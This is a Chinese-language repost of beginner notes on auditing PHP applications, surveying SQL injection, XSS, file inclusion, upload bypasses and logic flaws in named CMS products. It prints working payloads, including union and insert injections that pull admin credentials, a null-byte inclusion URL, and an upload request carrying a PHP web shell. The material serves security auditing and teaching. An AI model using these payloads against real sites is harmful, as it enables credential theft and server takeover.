php代码审计基础笔记
出處: 九零SEC
連接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059
----------------------------------------------------------
team:xdsec&90sec
author:wilson
blog:http://blog.wils0n.cn/
文章鏈接:wilson's blog_php代碼審計基礎筆記[求人氣~~]
-------------------------------------------------------------
0x01 前言
$_REQUEST 就是$GET/$_POST/$COOKIE
要是使用了xxx框架的話,如何找到這些變量呢? Mvc框架比較流行了 所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14] -------------------------------------------------------------------- 二)關注什么樣的漏洞 1.Sql注入 2.文件操作[上傳/寫入/讀取/刪除] 3.文件包含 4.命令執行 5.Xss 6.Cookie欺騙 7.邏輯出錯 ........等等 每種漏洞有對應找漏洞的方法,往往先找getshell的方法[1,2,3,4這三中漏洞是常見的getshell方法我們要多多關注這個]而邏輯出錯也是很要命的。。。。 - - 所以我們要認識清楚漏洞原理,積累cms常出漏洞,積累找這種漏洞的技巧..... --------------------------------------------------------------------
三)本地搭建環境測試 1.黑盒加白盒 不得不說黑盒的重要性! Burp常開對你只要沒有壞處!
2.大體看看文件的目錄
3.cms安裝到本地,大概了解功能,比如有注冊會員功能的cms,我就注冊一個會員,比如有搜索框,我就會搜索一下,大概查看一下搜索出來的內容,[恩 因為字符型都進行了轉換 @ _@ 所以搜索型的很重要,有哪些數據提交點、能否留言等等] 摘自p神
技巧:最好可見在本地測試時候講你的輸入點打印出來 我會將用戶的輸入數據進行var_dump,重要的是對最終的sql語句進行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等]。 我審計了一個cms就是這樣的,結果黑盒就發現登入處有注入,真的去審計還花了不少力氣去讀源碼,并且學會了一個thinkphp的執行sql特點. +++++++++++++++++++++++++++++++++++++++++++++++++++++ 四)審計各種不同漏洞技巧 1.Sql注入審計技巧 sql注入是我們審計比較重視的漏洞之一
0x01 漏洞原理
所以現在很多cms都對注入進行了一定的過濾,一般有兩種過濾方法: 01.對于數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。 $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : ''; 要是沒有intval($_GET[id]) 那就呵呵了。//有一個屌絲cms就是這樣...... ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin) 02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。 aaa’aa ==> aaa\’aa aaa\aa ==> aaa\\aa SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#
--------------------------------
0x02 漏洞發生
那么問題來了,在上面這種情況漏洞怎么出現?[藍翔.....]
漏洞(四)文件名注入 因為$_FILE,$_SERVER不受gpc影響,那么可能造成注入....... 有些cms會把name的值保存在數據庫里,但又沒有對name進行過濾。 例如:p神的emlog后臺注入(需要作者權限即可) 還有Thinksaas最新版注入無視GPC
http://wooyun.org/bugs/wooyun-2010-051124 --------------------------------
0x03 注入類型
1.Selcet 注入 這個常見就不說了 一般就是聯查,要是報錯開啟也可以報錯注入
2.Update 注入 p神做了一個教程關于bluecms這cms漏洞: Get_ip() 直接用了X-FORWARDED-FOR $sql = "UPDATE blue_user SET last_login_time = '$last_login_time', last_login_ip = '可控位置' WHERE user_id='$_SESSION[user_id]'"; UPDATE blue_user SET last_login_time = '1394368489', last_login_ip = '8.8.8.8',address=(select concat(admin_name,0x23,email,0x23,pwd) from blue_admin limit 0,1), qq=' ' WHERE user_id='2' //addrress是前臺可見的,而且長度夠大 //p神說..... 碰到update語句中含有注入的情況,我們怎么處理? 01.跟我剛才一樣,把某個可以看到的信息給更新成管理員密碼,這樣就獲得了密碼 02. 報錯注入,使用某一特定的報錯語句,讓sql語句在執行中出錯,能爆出管理員賬號密碼。但是有個條件,就是在執行sql語句的時候調用了 mysql_error函數,否則不會顯示報錯信息。比如bluecms就沒有調用mysql_error,所以不能使用這個方法。
3.Insert 注入 引用了音符牛的一個文章 http://bbs.xdsec.org/?/question/310 音符的XD某套系統的代碼審計第二彈:insert注入 //字符串完全沒過濾,gpc為關閉 function guest_add()//添加留言 { global $bqz,$lang; $exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')"; mysql_query($exec)||die(mysqli_error()); echo "<script>alert('".$lang."');window.location.href='http://bbs.xdsec.org/?/guest.php';</script>"; } $exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')"; //沒有過濾就將數據放入guest表中,guest表的內容前臺可見。
?
payload:標題123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),'1314205172')# 其他的隨便填。 則執行: insert into xdxx_guest (title,name,email,ip,content,times) values ('123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),'1314205172')#','time()') 因為前臺可以看到的只有name跟content,而name要用來閉合前面的單引號,所以用content字段來保存管理員的賬號密碼。?
0x04技巧 技巧:最好可見在本地測試時候講你的輸入點打印出來 我會將用戶的輸入數據進行var_dump 重要的是對最終的sql語句進行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等] so,還是這技巧點 =====================================================
?
3.Xss利用 現在應該大多都是x管理員的cookie吧。 再次膜拜一下p神的審計能力,xss的作用可以getshell的 http://wooyun.org/bugs/wooyun-2010-063052 我們可以利用js來發送post包,利用管理員權限去得到getshell
$.ajax({ "url": "網址", "type": "POST","data":"POST的內容" })
===================================================== 3.文件包含漏洞審計技巧 文件包含漏洞 看音符大牛的文章 https://www.t00ls.net/thread-26571-1-3.html 1.截斷技巧 %00和230個/ 2.遠程包含 allow_url_fopen = On并且allow_url_include = On時,則可以包含遠程文件 3.一個出問題的cms Yxcms給音符牛日穿了 https://www.t00ls.net/viewthread.php?tid=27266&highlight=yxcms payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00
4.命令執行審計技巧
1. $_FILES["file"]["name"] - 被上傳文件的名稱 $_FILES["file"]["type"] - 被上傳文件的類型 $_FILES["file"]["size"] - 被上傳文件的大小,以字節計 $_FILES["file"]["tmp_name"] - 存儲在服務器的文件的臨時副本的名稱 $_FILES["file"]["error"] - 由文件上傳導致的錯誤代碼 2. 文件上傳的過程: 01.用戶選擇文件,點擊上傳 02.服務器接收到文件,然后將文件保存在臨時目錄內 03.php對文件類型、后綴等內容檢查,檢查通過后移動到web目錄下
然后試試黑盒審計吧 注意一點 如果文件名進入數據庫也有可能造成注入的。 因為$_FILE不受gpc影響[之前也提過了]
--------------
5.2文件上傳漏洞? ? 來自[+]上傳攻擊總結.pdf[這極好的文章]
Payload:
? ?? ?? ?? ?然后我們可以將request 包的Content-Type 修改
? ?? ?? ?? ?POST /upload.php HTTP/1.1
? ?? ?? ?? ?TE: deflate,gzip;q=0.3
? ?? ?? ?? ?Connection: TE, close
? ?? ?? ?? ?Host: localhost
? ?? ?? ?? ?User-Agent: libwww-perl/5.803
? ?? ?? ?? ?Content-Type: multipart/form-data; boundary=xYzZY
? ?? ?? ?? ?Content-Length: 155
? ?? ?? ?? ?--xYzZY
? ?? ?? ?? ?Content-Disposition: form-data; name="userfile"; filename="shell.php"
? ?? ?? ?? ?Content-Type: image/gif (原為Content-Type: text/plain)//$_FILES["file"]["type"]
? ?? ?? ?? ?<?php system($_GET['command']);?>
? ?? ?? ?? ?--xYzZY--
?3.服務器檢測繞過(目錄路徑檢測)
? ?? ?? ?? ?Filename 可以控制,直接進行%00截斷看看能不能搞定
? ???4.文件名檢測
? ?? ?? ?? ?下面就是去檢測:$_FILES["file"]["name"]
? ?? ?? ?? ?再次注意:如果文件名進入數據庫也有可能造成注入的。
?
各種測試 這里我們看代碼就可以了。?
我們可以看看能不能?
1.大小寫繞過?
2.黑名單外的危險腳本[htaccess 文件攻擊]?
3.解析漏洞結合?
4.利用windows特性繞過?
雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806?
phpdisk使用了黑名單?
可以用加空格來繞過?
另外大牛又給出了?
提交.php::$data 這樣就不會匹配到黑名單中了。 這種想法,感覺自己有學習了....
?
1. 0x00 截斷繞過?
用像test.asp%00.jpg 的方式進行截斷,屬于白名單文件,再利用服務端代碼的檢測邏輯?
漏洞進行攻擊,目前我只遇到過asp 的程序有這種漏洞?
2. 解析調用/漏洞繞過?
這類漏洞直接配合上傳一個代碼注入過的白名單文件即可,再利用解析調用/漏洞 ? ?? ???
? ? 5.文件上傳邏輯漏洞
? ?? ?? ?? ?http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
? ?? ?? ?? ?不得不又一次膜拜p神......
? ?? ?? ?? ?文件上傳,支持zip上傳,但是這個phpcms沒有對子目錄下的文件,進行驗證。導致getshell
? ?? ?? ?? ?而且有了一個競爭上傳的概念。。。。
? ?? ?? ?? ?文件是先在服務器存在了,然后再驗證文件名的可靠性。不合法就刪除。那就出現問題了,在存在時候,我們可以一整去訪問這個php,而這個php的功能就是寫馬。這樣就可以成功getshell了。。。。
?
求補充?
5.3 文件寫入。文件刪除?
求補充
?
6.邏輯出錯審計技巧
?
1.程序沒有及時結束[die]?
http://www.wooyun.org/bugs/wooyun-2010-063019?
Ducms就是/install/install.php?
沒有及時結束?
給p神 利用一個外鏈的mysql 繞過限制 加入一個admin賬戶。。。
?
還有一個直接寫入配置文件的StartBBS重安裝getshell也是因為這個原因?
除了安裝可能出現這種情況?
Admin目錄下也可能這樣?
判定不是admin就跳轉,但是php代碼是繼續執行沒有及時結束的
?
認證太奇葩...
?
4.驗證碼重用,造成爆破?
漏洞類型還要很多.....?
?
轉載于:https://www.cnblogs.com/hookjoy/p/4086094.html
總結
以上是生活随笔為你收集整理的php代码审计基础笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 分布式监控之Zabbix-Server
- 下一篇: 程序员应该遵守的编程原则